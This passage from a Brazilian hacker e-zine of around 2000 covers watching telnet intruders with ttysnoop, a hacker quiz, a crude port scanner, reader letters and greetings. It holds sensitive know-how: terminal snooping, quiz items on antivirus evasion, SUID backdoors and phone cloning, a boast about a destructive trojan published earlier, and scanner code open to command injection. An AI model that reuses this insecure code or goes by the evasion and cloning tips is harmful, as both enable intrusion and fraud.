monitorava cada passo deles. Sempre de olho no que eles estavam fazendo.
Com issu aprendi os diversos caminhos que cada um sempre seguia e 
formei minhas rotinas atravez da deles.

   Voces podem achar o que quizerem mas eu considero o telnet um dos servi-
cos mais seguros do tcp. Eh soh voce pensar em quantos exploits para
smtpd, httpd (apache e iis), ftpd e outros daemons ja foram publicados.
Emquanto issu ateh agora sao raros os releaseds para telnetd.
   Mas ae vc diz: "Ta! mas com telnet o kra ja tem acesso a tua maquina."
Mas issu eh exatamente o que eu quero no momento. Este texto vai mostrar
como usar o invasor para testar as falhas do seu sistema.
   Detalhe: Quando me refiro a sistema estou falando dele internamente nao
de daemons bugzados. Isto porque quando o hacker consegue uma conta
telnet na maquina, ele tenta hackea-la de dentro, testando bugs de pro-
gramas suids, etc.
   Entendido o objetivo do texto vamos ao que interessa:

   Para comecar nao usaremos o daemon do telnet e sim o telnetsnoopd. Este
daemon funciona como o telnet porem permite a monitoracao em tempo real
dos terminais usados pelos convidados.
   O texto do TinkerTrain nesta edicao mostra como usa-lo.

   Fique atento a todos os passos que o hacker da. A todos os comandos que
ele executa. A tudo. Sempre alerta!
   Para testar bugs de buffer overflow eh comum usarem comandos como:

./programbugzado AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

   O que resultaria em Segmentation Faults caso o programa seja vulneravel.
Estes A's podem ser feitos tb atravez de outros comandos como:

`perl -le 'print "A" x 1000'`

   Voce tem que ter um conhecimento basico do que ele esta tentando fazer,
o que nao sera dificio pois o ttysnoop exibe tudo o que o hacker esta
vendo, entao se ele entrar em um prog para testar buffers internos, voce
sabera.
   Ao invez disso os hackers mais praticos simplesmente checam a versao dos
programas que tentaram xploitar.

   Como no caso estamos testando somente a seguranca do sistema interno
feche os demais daemons para que voce nao seja hackeado remotamente, o que
nao iria ser monitorado pois nao foi feito da sua shell.
   Sem ftp o hacker se vera obrigado a colar seus exploits em algum editor
ou usar o wget para baixa-los de seu proprio dominio.
   Assim que ele colocar um arquivo no seu sistema copie-os imediatamente
para um diretorio escondido q somente vc tenha permissao de ler.
   Perceba que alguns rackers mais novatos simplismente colocaram seus
xploits na sua maquina e testaram um por um. Fike alerta a qualquer sinal
de root na shell dele.
   Assim que ele pegar root derrube-o, feche os servicos e verifique o
source do exploit usado. Nele voce encontra o programa que foi exploitado.
Corrija-o (alguns programas basta retirar o suid bit, outros eh preciso
atualizar para uma versao mais nova) e soh entao volte a rodar o telnetsnoopd.
   Com issu voce tem uma falha a menos no seu sys. Ele esta mais seguro do
que antes.

   Agora se voce tem um sistema muito grande e nao pode ficar perdendo com
essas brincadeiras, muito menos fechar seus servicos para testar a seguranca,
aki vao umas dicas para detectar o invasor depois dele ja estar dentro.

   Caso vc encontre algum arquivo deixado no sistema pelo invasor, como
os xploits usados ou ate' mesmo uma mensagem deixada pelo engracadinho
(as vezes isto eh comum), voce pode usar o seguinte comando para encon-
trar outros arquivos modificados nesta mesma data. Assim podera encon-
trar backdoors deixadas e arquivos alterados.

   Uma t3kn33k simples e util que pode ser usada eh usar um alias para
o rm fazendo-o ao invez de deletar o arquivo, mova-o para um diretorio
de backup. Com issu voce tem os exploits e programas usados pelo
invasor. Seria algo tipo: alias rm="mv -f $1 /tmp/bak/"

   Crie sempre chaves MD5 de arquivos importantes como os arquivos de
senhas e arquivos de inicializacao. Apos suspeitar de uma invasao, verifique
se a md5 mudou. Caso tenha mudado significa que o arquivo foi alterado.

   Para monitorar ataques externos direcionados aos daemons, criei um programa
que monitora as conexoes tcp e verifica se algum pacote contendo mais de 5
nops (0x90) foi enviado. Outro metodo que tambem poderia ser usado e eh mais
seguro, eh verificar se algum pacote possui enderecamento da pilha. Caso um dos
casos seja verdadeiro o programa grava o ip em um log e fecha a conexao.
   Isso porque para exploitar remotamente o hacker precisa enviar um buffer
recheado de nops, shellcode e o enderecamento para a pilha. Como o shellcode
costuma variar de xploit para xploit, nao podemos monitora-lo e por isso
vamos monitorar os nops e o endereco de pilha. Se um deles for enviado remota-
mente as chances de estarem tentando xploita-lo sao muito grandes e nao vale
a pena arriscar. =)
   O programa inda nao esta released pois possui uma serie de bugs q serao
brevemente corrijidos, mas o algoritimo dele eh facil e qualquer um com uma
base de programacao pode faze-lo.

   That's all.










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   16 - Monitorando telnet  ~YXXXXx_
  _xXXXXXX(     usando "in.telnetsnoopd"   )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Tinker Train        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


Ae povex! primera vez q escrevo pra zines.. e bla bla bla
sem lenga lenga vamo direto pro q interessa...

{ Explicacao }

Para realizar o monitoramento, voce ira precisar do
"in.telnetsnoopd".. vc pode encontrar em sites como
o tucows (tucows.matrix.com.br).. 

** OBS: estou supondo que seu sistema eh linux slackware, se
for outra distribuicao ou sistema tente adaptar.. acho que
em caso de linux de outra distribuicao nao tem muita diferenca


Depois de instalar vamos comecar a brincadeira:

Edite o arquivo /etc/inetd.conf e procure por algo como:

   telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

Entao comente essa linha (#, dugh!) e coloque logo abaixo
(ou em cima, ou la embaxo, ou em qquer lugar) dela a linha 
seguinte:

   telnet stream tcp nowait root /usr/sbin/tcpd in.telnetsnoopd

Beleza.. feito isso reinicie o seu inetd (killall -HUP inetd)

Ta.. e agora? como monitorar?

Para monitorar voce tem que saber em qual TTY o usuario
que se deseja monitorar esta logado... para isso podemos
usar o comando "w"... que lista algo como:

host:/# w
 11:45pm  up  4:39,  8 users,  load average: 0.12, 0.10, 0.22
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
root     tty1     -                 7:07pm  6:12  11.05s  0.02s  -bash
root     tty3     -                 8:53pm  0.00s  0.50s  0.05s  -bash
toor     ttyp0    ip.ip.ip.ip       9:06pm  1:29m  0.29s  0.29s  ls -al

           |
            \ _ isso eh a TTY que o user "toor" esta logado.

Sabendo isso vamos comecar a monitorar o cara... pra isso 
digite:

host:/# ttysnoop ttyp0

                    |
                     \ _ tty na qual nosso amigo ta logado.


Connected to ttyp0 snoop server...
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
Snoop password: 
Verified OK... Snoop started.
tinker:/etc# ttysnoop ttyp0
Connected to ttyp0 snoop server...
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
Snoop password:
Verified OK... Snoop started.


** Agora comeca a magica! voce vera em tempo real
   tudo o que o usuario "toor" esta fazendo!


OBS: quando pedir "Snoop password:" digite a sua senha de root.


Ta ai um truquezinho pra vcs! :).. pode parecer meio
sem graca, mas eh realmente interessante...

Por hoje eh soh pessoal :) ehauehauheua

tks to: struck e s0laris.

[ Tinkertrain ]










       _xXXXP^''                    ``^YXXXx_
     _xXXXXP~       17 - Hack-Test       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Muitos dos grupos hackers dos quais eu conheci membros tinham seus
testes hackers para um novo membro provar suas capacidades. As vezes, o
teste era simplesmente 0wnar uma maquina descrita pelo grupo, mas os
mais comuns eram os testes de pergunta e respostas.
   O mais interessante eh que cada grupo q eu ficava conhecendo, queriam
q eu participasse destes testes mesmo eu mantendo minha possicao de nao
entrar em nenhum deles.
   Alguns testes eram bem inteligentes e bem feitos, outros simplesmente
idiotas. Depois q eu respondia o q eu sabia e mandava devolta ao grupo
recebia sempre uma nota de 0 a 10 (Execao de um q era de 0 a 100, mas 
isso nao importa e nem precisava comentar aki. Eu sou um idiota de ainda
estar teclando besteiras neste parenteses). A minha nota sempre ficava
entre 8 e 10.
   Como eu ja to em espirito de vestibular, decidi eu criar meu proprio
hack test. Ele mede seus conhecimentos gerais na area de computacao e
esta mais voltado para sistemas linux e rede, deixando um pouco de lado
a parte de hardware.
   Sao 20 perguntas objetivas com 3 opcoes de resposta.
   A cada acerto seu voce conta 0,5 pontos; Cada erro sao 0 pontos.
   No final some todos os pontos adquiridos e veja sua nota de 0 a 10.
   Para o teste manter-se fiel, nao trapaceie e nao chute. Se voce nao
souber a resposta conte como questao errada.
   Lembre-se q este teste visa unicamente medir seus conhecimentos e
se voce roubar estara enganando a si mesmo.
   Marque as alternativas a caneta. =)


1. Uma das principais vantagens do linux sobre o windows eh o fato dele
quase nunca precisar ser resetado para q alteracoes nas suas configuracoes
sofram efeito.
   Em qual ocasiao no linux isto nao ocorre.
a) Na mudanca da resolucao de video.
b) Quando a tela de login eh alterada.
c) Na troca ou recompilacao do kernel.



2. Outra vantagem do linux e' seu filesystem ext2. Alem dele os kernels
atuais do linux tem suporte a filesystems de diversos sistemas.
   Qual destes filesystems tem suporte apenas para leitura?
   (refere-se ao kernel 2.4.0)
a) VFAT (Windows)
b) HFS (Mac)
c) NTFS (WinNT)



3. A funcao *PRINCIPAL* do kernel eh:
a) Levar informacoes dos softwares aos hardwares.
b) Gerencionamento de memoria.
c) Manipular discos.


4. O MSDOS assim como o linux eh um sistema operacional que se baseia em
linhas de comandos. Essa caracteristica eh conhecida como:
a) Console
b) Interface grafica
c) Emulador de controle


5. O que eh PHP??
a) Um cgi script usado exclusivamente em httpd.
b) Uma linguagem de programacao que processa htmls com base em banco de dados.
c) Um protocolo que oferece um serviso em TCP.


6. Situacao: Voce tenta apagar o arquivo bunda.c e recebe um stderr de operacao
nao permitida. Qual o proximo comando que voce tentaria para que conclua
seu objetivo??
a) chmod +a bunda.c
b) chattr -i bunda.c
c) rm -f bunda.c


7. Por que winmodens nao rodam em linux??
a) Porque os programas de terminal do linux nao sao compativeis com o modem.
b) Porque o modem nao roda em device drivers ttyS.
c) Porque os sinais sao processados apenas atraves de drivers de windows.


8. O formato de programas e libraries em linux e' diferente do utilizado no
windows. Este formato eh conhecido por:
a) MZ
b) ELF
c) main


9. Pilha (stack) e' o termo usado para identificar a area da memoria onde
fikam armasenados os buffers de um programa. Identifique o valor correspondente
a pilha.
a) 0x01010101
b) 0xbfff091a
c) 0x8049c39a


10. Identifique o CR e LF padrao, nesta ordem:
a) 0x13 e 0x0a
b) 0x20 e 0x13
c) 0x0a e 0x20


11. IFS (Internal Field Separator) eh o caracter que representa o espaco em
sistemas unix. Em sistemas AIX antigos o IFS era uma variavel exportavel que
poderia ser mudado por qualquer usuario.
   Como Este bug era exploitavel (na teoria)?
a) Alterava o $IFS para muitos caracteres gerando um buffer overflow.
b) Alterava o $IFS para nenhum caracter causando um Kernel Panic.
c) Alterava o $IFS para "/" fazendo os programas mudarem a rota de execucao dos
   seus processos filhos.


12. Backdoors de shells sao provavelmente as mais encontradas por sua simplicidade
de fazer. Bastando copiar uma shell setando-a com SUID voce cria a backdoor.
    Ao ativar esta backdoor vc fica com ________ = 0 (root).
    A palavra que completa a frase acima eh:
a) UID
b) PID
c) EUID


13. Os antivirus costumam ter um banco de dados com trechos dos virus em ASM
e assim fazem comparacoes para identificar o tipo de virus detectado.
   Uma t3kn33k conhecida para evitar este reconhecimento eh:
a) Abusar de NOPs(0x90) entre as funcoes do virus.
b) Colocar JMPs ou CALLs no inicio dos arquivos infectados apontando para o
   final do code onde fikam instalados os virus.
c) Infectar a MBR (virus de boot) que nao pode ser scaneada.



14. Ao exploitar um bug de buffer overflow, o Return Address deve ser 
redirecionado para:
a) a pilha
b) a area de dados
c) a pilha ou uma funcao da libc



15. Os celulares digitais atuais sao facilmente reprogramaveis. Atravez do
teclado voce pode alterar o NAM dele. Alguns ateh permitem o uso de dois
NAMs no mesmo celular.
   A clonagem de celulares nada mais eh do que reprogramar NAM. O que deve
ser reprogramado?
a) System ID e o MIN
b) ESM e MIN
c) DTMF e MIN



16. Um byte eh composto por 8 bits de informacao + 1 bit extra de paridade.
O bit de paridade serve para verificar se a informacao esta correta. Dados
os exemplos de bytes, identifique akele que esta correto.
a) 10000011  - bit paridade = 0
b) 10100001  - bit paridade = 1
c) 10110101  - bit paridade = 0


17. Exemplos de uma linguagem de alto nivel e uma de baixo nivel. Respectivamente:
a) ASM e C
b) Fortran e Algol
c) "Prazer em conhece-lo." e "Vai toma no teu cu!"



18. Um programa em C contendo o seguinte ponteiro: 

struct duh
{
    int fuck;
};
struct duh *sux;

    Como voce faz para chamar o integer fuck dentro do ponteiro duh???
a) sux.fuck
b) duh.fuck
c) sux->fuck



19. Os primeiros 1024 bytes da memoria principal contem 256 enderecos
que referenciam sub-rotinas ou dados localizados em qualquer parte da
memoria. Estes enderecos sao conhecidos por vetores de interrupcao na
linguagem Assembly.
    De quantos bytes sao compostos estes enderecos??
a) 2
b) 4
c) 6



20. A internet eh uma rede de computadores formada em:
                         []  []  []
a) Espinha dorsal    []---|---|---|
                         []  []  []

                       []  []
                        \  /
b) Teia              []--[]--[]
                        /  \
                       []  []

c) Serie    []---[]---[]---[]---[]






   A pontuacao ficaria assim:

0     - Lamah ou Begginer.
01a03 - Lamah ou Begginer que chutou.
04a06 - Begginer com uma base.
07a12 - Wannabe. Voce esta no caminho certo.
13a16 - Hacker. Voce ja tem capacidade de 0wnar.
17a19 - Hax0r l33t. Legal, voce eh um leitao. =)
20    - Parabens! Voce gabaritou a prova! A colocacao mais alta seria a de guru,
        mas acho que o teste nao esta preparado para classifica-lo assim. =)

   O gabarito sera publicado na proxima edicao.
   Confira suas respostas nao proxima fatal 3rror ou envie-me um email para mim
que terei prazer em retornar seu escore.











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~      18 - SuperProgs       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   E entao? curtiram o programa da edicao passada?? =)
   Bom, se voce leu o code descobriu que nao passava de um trojam que
apagava tudo caso voce roda-se como root. Hehehehe... teve gente que
rodou a parada e fikou puto cumigo...
   Mas pelo menos o programa serviu para alguma coisa. Todos os que
rodaram o trojam agora em diante vao no minimo dar uma olhada no code
antes de sair rodando qualquer porcaria por ae. Fiquei sabendo de gente
que ta comecando a aprender C por causa deste programa.. =)
   Ateh agora essa foi a licao mais importante que vc aprendeu: Deixar
de ser um script-kiddie.
   Usuarios mais avancados certamente nao cairam na brincadeira entao
nao tenho com o que me preocupar.

   Nesta edicao vou publicar um scan-port muito eleet que encontrei faz
um tempao, mas ainda eh um dos melhores ja feitos.
   O metodo de scaneamento que ele usa eh um dos mais complexos que ja
vi e mesmo assim consegue ser um programa compacto no tamanho.
   Bom, ele tambem podia ser feito em shell-script, mas o editor (que nao
consegui saber quem eh) achou que programando system()s seria mais l33t.
   Ah!!! Qdo o programa encontra uma porta aberta ele conecta-se ao servico
e por issu eh preciso sair manualmente. Issu prova que ateh mesmo os melhores
codeadores nao conseguem se livrar de seus bugs. =)

<++> Superprogs/scanport.c
#include <stdio.h>
#include <string.h>

main()
{
        int i;
        char ip[255],str2[255];
        
        printf("Entre com o host para ser scaneado:");
        gets(ip);
        printf("\n");

        for (i=1;i<9999;i++)
{       sprintf(str2,"telnet %s %d",ip,i);
        system(str2);
} }
<-->

   NOTA `A LAMERS e BEGGiNERS: Nestas materias eu costumo ser sarcastico.











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        19 - 3m4ilz         ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Repetindo o nosso email eh:            cheat@struck.8m.com
   Mas se estiver dando problema tente:   cszine@email.com
   Agora se seu comp for patriota entao:  decopudim@ig.com.br
   Lembrando sempre que se escreve tudo sem acento.
NOTA: *** = Censurado =)



Fr0m: ******** ******* <****************@inatel.br>
Dat3:  Fri, 10 Nov 2000 00:59:43 -0200 
Subject:  Falae'z 

 Ae cara... tipo... a zine ta muito boa... vai direto ao assunto ao inves
 de ficar enrolando quem esta lendo e tal... tipo eu sei que vc deve tar
 cheio das coisas ai.. e principalmente com a parada do vestibular.. eh
 foda..  Eu estudo no ******** ******* ** **************** (******) e o
 ftp server deles eh o pro ftpd 1.2.0 pre3  que eh vulneravel a buffer
 overflow.. mas tipo...  nem tem permissao de write la...  dai eu liguei
 pro admim  falando umas mentiras e tal.. pra ele abrir um dir com write
 la.. mas ele nem curtiu a ideia...  tem algum outro jeito de xploitar la
 sem permissao de write?? acho q naum neh....  bom.. xeu continuar
 rodando o wuscan.pl aqui pra ver se acho algo..   (ahhh vc poderia
 adicionar o proftpd tb no wuscan)

 [ ]'s
                ********

--------------

  Opa! Primeiramente obrigado pelos comentarios sobre a zine.
  Tipo... Ja que  tu estuda lah, c pode falar com o admin para liberar uma
 conta ftp somente para voce. Esta ideia ja eh + cabivel.. =)
  Tipo... wuscan.pl nao pode ter proftpd pq o nome do programa contradiz a
 ideia. =) A principio ele iria scaniar todos os daemons ftps bugzados mas
 para poupar trabalho eu deixei-o assim... C tu quizer alterar alguma coisa
 por mim ta tudo bele.


##############
##############
##############

Fr0m:  ****** ******** <**********@hotmail.com>
Dat3:  Mon, 13 Nov 2000 22:31:20 EDT 

 fala noiadu! 

 tipow, tentei portah teu Henix 4 Linux pru 
 DOS c/ u borland 3.1...... mexi soh uns dia 
 nele, e perdi u fonti, mas, naumsei c pour 
 aliviu ou disgustu, achei eli...... 
 c tu kiser v, ou apagah, ou poh em qq 
 lugar, dah pru teu cachorro mastigar, qq 
 coisa, tah indu! tah c/ .PRJ e talw........ 
 naum liga q tem MUUUIIITTTUUUU bug mermu! 
 nem liguei mexeh oh! 

 faz uma avaliacaum ai.... d 0 ah 0.5..... 
 eh qntu??? 
 falow! xohih pq t enchi muitu!! 

 **************** -> zoia minha page lah vei! 
 http://www.**********.com 


--------------

  Heheheheh...
  Tipow... Valew a tentativa, mas ele fikou com mtos bugs mesmo.
  A principio parecia q tava legal mas logo achei diversos erros.
  Relax!
  Nao esquenta q num futuro proximo eu faco o trabalho de corrigir tudo
 ou quase tudo e ae dah pra publicar como uma nova versao do henix for
 MSDOS. Novamente obrigado por tentar me ajudar neste programa.
  Hm... Ja que voltamos a tocar neste assunto, ja vou adiantando a vcs
 que pro futuro o henix vai ser mais do que somente um emulador...
 Aguardem!!! =)


##############
##############
##############

Fr0m:  **** <**************@uol.com.br>
Dat3:  Sat, 7 Nov 1998 17:07:18 -0200 
Subject:  Sua zine ta fera :) 


 Caraca
 
 pelo jeito parece que naum e pra chega este e-mail ate vc a cada hora que
 eu pego um zine nova seu e-mail muda hehe
 
 vamo ve se agora vai!


 Opa!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
 BLz?
 
 Sua zine ta bem fera cara apesar de entender menos da metade :).
 
 TIpow queria que vc dece uma olhadinha pra mim em 
 www.******************.hpg.com.br e desse sua opnio :)
 dos graficos e do que mais eu poderia colocar nela.
 
 VaLeUs!

 Aguardo sua opnio :)
 
 FUIZ

--------------

  Eu dei uma olhada na tua page.
  Deu pra perceber q c ja manja algo sobre DHTML ja q a abertura foi toda feita
nesta linguagem. O resto da page, pelo menos ate' agora, esta em construcao
com algumas execoes.
  A estrutura dela ta blza e espero q o conteudo tb seja tao bom qto o visual.



#########
#########
#########

Fr0m:  ** ****** <*********@netsite.com.br>
Dat3:  Tue, 21 Nov 2000 21:47:24 -0200 
Subject:  Legtimo! 


 Ae Cheat Struck,

 Blz? Bom cara, antes de tudo falar que eu curto muito o seu "trabalho" que
 eu considero o nico hacker brasileiro junto com o SennaSpy que vai atrs,
 aprende e faz; no no sentido de estar a nos mirrors, justo que nunca te
 vi, mas com certeza estava nos tantos logs q vc apagou por onde andou. Sem
 pagao de pau, eu acompanho desde a CSZ mas devido a porra da escola eu no
 evolui junto com voc, que foi junto com a "elite" , vc ou vcs ditaram ou
 pelo menos seguiram a evoluo da segurana. Eu sempre estive no r00t, no
 hackphr, no fashion; lembro da Bl0w, Resistencia, at da Axur05 que  via,
 mas no deu pra mim acompanhar. O Linux eu no tive tempo de aprender, pq
 aqui em casa o comp. no  s meu ento j viu, mas como oq no importa sou
 eu; estou escrevendo mesmo  pra parabenizar pela zine que  uma puta zine,
 legal pra caralho e com muita info boa pra kct! Seria legal algo sobre C ou
 Perl, Sh, Asm e esta principalmente pra ter uma noozinha pra fazer uma
 parte de crack que direta ou indiretamente  um prncipio pra escrever os
 buffer overflow que vc citou no projeto Omega (nop's) . Fora essas sugestes
 queria te fazer uma pergunta, e me desculpa a lammeragem, mas mesmo que
 pouco por dentro da prtica sempre me manti atualizado mesmo que na teoria,
 os termos e tal, mas tem uma coisa que vem me quebrando a cabea que eu meio
 que deduzi, mas no sei bem! Um buffer overflow  um code que fode um
 programinha, e apartir disso voc junto nesse code coloca uma shellcode que
  pra acessar a conta shell apartir daquele erro, tipo chamar?? E se no
 tivesse esse shellcode no meio apenas iria estragar o progzinho tipo um DOS,
 sem nenhuma ao que no fosse inutilizar o servio? Shellcode seria isso,
 chamar uma shell, ou estou falando bosta?
 Bom, o negcio  parabenizar vc por ter evoluido tanto visto seus primeiros
 textos desde a CSZ e atualmente, e at mesmo pelo curto espao de tempo!
 Entenderei se no responder...=)
 [ ]'s

            *********

--------------

  Rlz... ta dando um dia de furia na tv.
  opa! Primeiro, obrigado pelos comentarios `a zine e a mim. 
  Sobre programacao, eu vou ver c escrevo algo descente sobre uma das
 linguagens sugeridas para a proxima edicao.
  Ah... bom o shellcode eh issu mesmo. Eh um codigo em ASM q chama uma
 shell para ser executada depois q o buffer overflow acontece. Se ele 
 nao estiver no xploit o q acontecera sera um Segmentation Fault. Issu
 vai derrubar o prog. Resumindo: eh exatamente o q c falou.
  Uma pergunta: pq eu nao responderia??



########
########
########

Fr0m:  ** ** <********@yahoo.com.br>
Dat3:  Mon, 11 Dec 2000 20:16:43 -0300 (ART) 
Subject:  comecando a comecar 


 cara, eu sei, vc sabe, e todos sabem, q, putz, no
 comeco, eh a pior merda, vc naum sabe o q faz,
 pergunta pra alguem e eh sempre a mesma merda, ninguem
 fala sobre cmo aprender.... tipo, falando assim parece
 ateh um bosta de um lamma , mais, parece q nessa bosta
 de mundo cibernetico ninguem sabe diferenciar um lamma
 de um begginer, merda, mas... tipo c poderia me falar
 por onde comecar, o q aprender primeiro..... ja tenho
 linux, sei q vo te q conhece ele intero......
 mas... da umas dicas, links, e tudo mais.
 valew
 t+


--------------

  Claro..
  Um dos 1os passos q eu costumo recomendar eh visitar a www.txt.org. E' uma
 otima coletanea de textos brasileiros. O unico problema eh q eh mta coisa.
 Comece lendo as zines Axur05, NearZ, The Death Knights, RWX, FuckerWorld,
 Hack n' Phreak. Depois baixe o resto e va lendo e vc mesmo pode selecionar
 o que e' bom e o que nao presta.
  Outra coisa: participe de lista de discussoes como BOS e LinuxBr. Alem de
 estar sempre c atualizando. Por inicio eh isso.
  Depois que voce comecar a colocar tudo na pratica fika mais facil. Dae vc
 soh precisara' ler sobre akilo q vc quizer se aprofundar.
  Mas o negocio eh ir atraz e procurar bastente coisa pra ler e consequentemente
aprender. Nao basta saber o que certa coisa faz, vc tem que saber como ela
funciona para poder evoluir cada vez mais.
  Outro detalhe que eh bom deixar claro: Nao recomendo o aprendizado apenas com
pessoas em chats tirando suas duvidas. Ainda mais pq mto pouca gente gosta
de responder perguntas de pessoas que nem conhecem.



########
########
########


Fr0m:  ****** <********@ig.com.br>
Dat3:  Fri, 29 Dec 2000 14:27:12 -0200 
Subject:  oi !! 


  ae cara fui na HP
  quando tento dar Download do Henix para WIN  (DOS)
  ele pede login e senha !!
  por favor q devo colocar para preencher esses campos ??

--------------

  ??????
  Se eu entendi bem, o problema eh a senha para dar download...
  Bem.. nao tem senha nenhuma. Issu pode ta acontecendo caso vc esteja usando
 algum programa de download.
  Caso eu tenha entendido errado e o problema seja a senha para entrar no 
 Henix. Neste caso eh login: struck , senha: cheat











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     20 - This is d end     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Chegamos ao final de mais uma edicao da nossa querida e-zine.

   Aproveitando que a zine ja esta acabando quero divulgar a nossa
nova promocao!!!! =)
   Na verdade nao eh bem uma promocao, eh mais uma "divulgacao de
talentos", podemos assim chamar.
   Estamos atraz de um novo logo, tanto para a page que deve ser
enviado em modo jpeg, qto para a zine que deve ser ascii em modo txt.
   Envie-nos suas obras e nos escolheremos a melhor para usarmos aki
na zine e na nossa nova page que esta sendo criada. O nome dos autores
serao publicados nas proximas edicoes, emquanto o logo estiver sendo
usado. E issu serve como prestigio para vcs, afinal, nao eh qquer um
que tem seu nick publicado aki. =) Hm... pensando melhor, qquer um
consegue ter seu nick publicado aki. =/
   Bom, espero que vcs participem do nosso concurso.

   Outra novidade eh que em breve estarei publicando um jogo de comp.
feito 100% por mim, incluindo os graficos que serao desenhados a mao
e scaneados. A programacao esta sendo feita em VB pois eh a linguagem
mais acessivel pra mim poder utilizar alguns recursos do DirectX. Sendo
assim o jogo sera apenas para windows (afinal eh para isso que ele serve =)).
   Ainda estou buscando uma historia descente para o jogo entao qualquer
ideia sera bem recebida. Tipo... pense em algo que voce gostaria de ver em
um jogo que ainda nao apareceu em nenhum outro e envie a ideia para meu
email. Pode ser qquer coisa, ate' sexo com celebridades =).
   Mais detalhes sobre o game: sera um jogo de tiro em 2d onde o jogador
tem que cumprir missoes como roubar bancos, etc mas pode desviar-se de
seus objetivos. Eh possivel falar com pessoas, pegar novas armas e tudo
que um bom adventure deve ter para ser um bom jogo.
   Enviem suas ideias que se forem boas serao atribuidas ao jogo.


   Agora vamos aos famosos gr33tz:

^^VENTO^^         Transmissor de diversos tipos de virus da gripe.
BEHAEL            Aprendeu a escrever com letras GRAUDAS!!! (caps lock)
C0nd0r            Manten-se sempre bem atualizado e defende a causa FREE KEVIM!
Cacaio            Fundador da organizacao dos cavaleiros mortos.
Carti             Criador de patos que tem uma bicicleta roxa.
Chernob           Serios desturbios mentais que se agravaram com o tempo.
Dave Mustaine     Fabricante de cha' medicinal contra desarranjos estomacais.
Defcon            Possui sequelas de sua primeira transa.
Draco             Criador do projeto anti-pate-de-figado-de-ganso.
Eletronic         Embaixador da costa do norte do marfim.
Encripty          Queima formigas com lentes de aumento. Procurado pela sociedade
                  protetora dos animais.
Kamikase Shell    Foi roubado por "funcionarios do banco q verificavam se seus dolares
                  eram falsos".
hak               Assusta criancinhas com historias de sua infancia.
MaskMaster        Criador de minhocas. Hmmm...
MidNight          Domador de cobras. Hmmm...
N4rfy             Hambientalista. Hmmm...
NuLLz             Tarado por pes de virgens.
Overnix           Digimon em treinamento. Tecnica especial: bolhas.
pcHazard          Tenta ensinar passos de danca para paraplegicos.
pcmcia            Internado em um asilo para velhos tarados.
psaux             Gago, fanho e com um sotaque incompreensivel que nao notou ter
                  problemas de comunicacao.
RoadHouse         Faz propagandas de pomadas para hemorroidas. "Ah! Ja posso andar de
                  bicicleta denovo!"
Slash_DOMI        Provador de drogas medicinais em fase de experiencia.
Source            Presidente de honra dos anti-evolucionarios.
Spike             Projetista do pino de seguranca(que logo substituira o cinto de s.)
Suli_Cool         Mexicano com tendencias a tornar-se uma largartixa.
syscall           Costuma ter erecoes ivoluntarias em banheiros masculinos.
Thasmx            Defensor do movimento de legalizacao da maconha.
Tinkertrain       Botanico desenvolvendo novas drogas.
TPGA              Desenhista e criador de objetos de tortura.
vh                Procurado na india por fazer churrasco com 2 bois sagrados.


   E este eh o fim.
   Esto es el fin.
   This is the end.
   Cya l8r! Hasta la vista! Falow!!!


_EoF_